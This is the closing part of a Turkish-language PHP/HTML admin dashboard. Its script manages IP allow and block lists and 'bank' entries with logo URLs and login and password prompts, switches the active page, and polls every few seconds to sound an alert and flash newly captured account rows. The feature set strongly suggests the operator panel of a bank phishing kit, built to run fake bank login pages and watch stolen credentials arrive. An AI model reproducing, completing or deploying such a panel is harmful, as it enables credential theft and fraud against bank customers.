            icon.className = `mx-auto w-12 h-12 flex items-center justify-center rounded-full mb-3 ${s?'bg-green-600':'bg-red-600'}`;
            icon.innerHTML = s ? '<i class="bi bi-check-lg text-white text-2xl"></i>' : '<i class="bi bi-exclamation-triangle text-white text-2xl"></i>';
            modals.msg.classList.remove('hidden');
        }
        document.getElementById('message-modal-close-btn').onclick = () => modals.msg.classList.add('hidden');
        
        function showConfirmation(msg, btnText, callback) {
            document.getElementById('confirmation-message').innerText = msg;
            const btn = document.getElementById('confirmation-confirm-btn');
            btn.innerText = btnText;
            btn.onclick = () => { callback(); modals.conf.classList.add('hidden'); };
            document.getElementById('confirmation-cancel-btn').onclick = () => modals.conf.classList.add('hidden');
            modals.conf.classList.remove('hidden');
        }

        // --- 5. YARDIMCI PANELLER (BAN, IP, BANKA) ---
        function loadBanList() {
            document.getElementById('ban-list-content').innerHTML = '<div class="text-center"><i class="bi bi-arrow-repeat animate-spin"></i></div>';
            fetch('api.php?action=get_blocked_ips').then(r=>r.json()).then(d => {
                let html = '';
                if(d.data && d.data.length) d.data.forEach(ip => { html += `<div class="flex justify-between bg-gray-700/50 p-2 mb-2 rounded border border-gray-600"><span>${ip}</span><button onclick="unblock('${ip}')" class="text-green-400 text-xs font-bold border border-green-400 px-2 rounded hover:bg-green-400 hover:text-black transition">AÇ</button></div>`; });
                document.getElementById('ban-list-content').innerHTML = html || '<div class="text-center text-gray-500">Yasaklı yok.</div>';
            });
        }
        window.unblock = function(ip) { 
            const fd=new FormData(); fd.append('ip',ip); 
            fetch('api.php?action=unblock_ip',{method:'POST',body:fd}).then(r=>r.json()).then(d=>{ loadBanList(); }); 
        };
        
        // IP Arama/Ekleme
        const ipSearchForm = document.getElementById('ip-search-form');
        if (ipSearchForm) {
            ipSearchForm.onsubmit = function(e) {
                e.preventDefault(); const term = this.querySelector('[name="ip_search_term"]').value;
                const cont = document.getElementById('ip-list-container'); cont.innerHTML = 'Aranıyor...';
                fetch('api.php?action=get_allowed_ips&search=' + encodeURIComponent(term)).then(r => r.json()).then(d => {
                    cont.innerHTML = '';
                    if (d.status === 'success' && d.data) {
                        d.data.forEach(ip => {
                            cont.innerHTML += `<div class="flex justify-between bg-gray-700/50 p-2 mb-2 rounded border border-gray-600"><div><div class="font-bold">${ip.ip_address}</div><div class="text-xs text-gray-400">${ip.description||''}</div></div><button onclick="deleteIp(${ip.id})" class="text-red-400"><i class="bi bi-trash"></i></button></div>`;
                        });
                    } else cont.innerHTML = 'Bulunamadı.';
                });
            };
        }
        window.deleteIp = function(id) { if(confirm('Sil?')) { const fd=new FormData(); fd.append('ip_id', id); fetch('api.php?action=delete_allowed_ip',{method:'POST',body:fd}).then(()=>{ document.getElementById('ip-search-form').dispatchEvent(new Event('submit')); }); } };
        
        // Formlar
        document.getElementById('ip-add-form').onsubmit = function(e) { e.preventDefault(); fetch('api.php?action=add_allowed_ip',{method:'POST',body:new FormData(this)}).then(r=>r.json()).then(d=>showMessage('Durum',d.message,d.status==='success')); };
        document.getElementById('ip-bulk-add-form').onsubmit = function(e) { e.preventDefault(); fetch('api.php?action=bulk_add_allowed_ips',{method:'POST',body:new FormData(this)}).then(r=>r.json()).then(d=>showMessage('Durum',d.message,d.status==='success')); };
        document.getElementById('bank-form').onsubmit = function(e) { e.preventDefault(); fetch('api.php?action=add_bank',{method:'POST',body:new FormData(this)}).then(r=>r.json()).then(d=>{ if(d.status==='success') window.location.reload(); }); };
        document.getElementById('settings-form').onsubmit = function(e) { e.preventDefault(); fetch('api.php?action=update_admin_credentials',{method:'POST',body:new FormData(this)}).then(r=>r.json()).then(d=>showMessage('Durum',d.message,d.status==='success')); };
        document.getElementById('save-auto-lang').onclick = function() { const fd=new FormData(); fd.append('lang_code', document.getElementById('auto-lang-input').value); fetch('api.php?action=set_auto_lang',{method:'POST',body:fd}).then(r=>r.json()).then(d=>showMessage('Durum','Dil Güncellendi',true)); };
        
        document.querySelectorAll('.page-switch-btn').forEach(btn => {
            btn.onclick = function() { fetch('api.php?action=set_active_page&page='+this.dataset.page).then(r=>r.json()).then(d=>window.location.reload()); };
        });
        
        // Banka Silme/Düzenleme Event Delegation
        document.body.addEventListener('click', function(e) {
            const delBtn = e.target.closest('.delete-bank-btn');
            const togBtn = e.target.closest('.toggle-bank-btn');
            const editBtn = e.target.closest('.edit-bank-btn');
            if(delBtn) { if(confirm('Sil?')) { const fd=new FormData(); fd.append('bank_id', delBtn.dataset.bankId); fetch('api.php?action=delete_bank',{method:'POST',body:fd}).then(()=>delBtn.closest('div').remove()); } }
            if(togBtn) { const fd=new FormData(); fd.append('bank_id', togBtn.dataset.bankId); fetch('api.php?action=toggle_bank_status',{method:'POST',body:fd}).then(()=>window.location.reload()); }
            if(editBtn) { fetch('api.php?action=get_bank_details&id='+editBtn.dataset.bankId).then(r=>r.json()).then(d=>{ if(d.status==='success'){ const f=document.getElementById('bank-form'); document.getElementById('bank-id-input').value=d.data.id; f.querySelector('[name="bank_name"]').value=d.data.bank_name; f.querySelector('[name="login_prompt"]').value=d.data.login_prompt; f.querySelector('[name="password_prompt"]').value=d.data.password_prompt; f.querySelector('[name="logo_url"]').value=d.data.logo_url; } }); }
        });

        // --- 6. CANLI GÜNCELLEME VE SES ---
        const audio = document.getElementById('notification-sound');
        document.getElementById('sound-test-btn').onclick = () => audio.play().catch(()=>{});
        
        // Auto Refresh
        const rb = document.getElementById('set-refresh-btn');
        if(localStorage.getItem('refreshInterval')) setTimeout(()=>window.location.reload(), localStorage.getItem('refreshInterval')*1000);
        rb.onclick = () => { const t = prompt('Saniye? (0=iptal)'); if(t>0) localStorage.setItem('refreshInterval',t); else localStorage.removeItem('refreshInterval'); window.location.reload(); };

        let lastCheck = '<?= date('Y-m-d H:i:s') ?>';
        setInterval(() => {
            fetch('api.php?action=get_updates&last_check='+encodeURIComponent(lastCheck)).then(r=>r.json()).then(d => {
                if(d.new_server_time) lastCheck = d.new_server_time;
                if(d.status === 'new_data') {
                    audio.play().catch(()=>{});
                    if(d.flash_ids) d.flash_ids.forEach(id => {
                        const el = document.getElementById('account-row-'+id);
                        if(el) { el.classList.add('flash-new'); setTimeout(()=>el.classList.remove('flash-new'), 3000); }
                        else { window.location.reload(); }
                    });
                }
            });
        }, 4000);

    </script>
</body>
</html>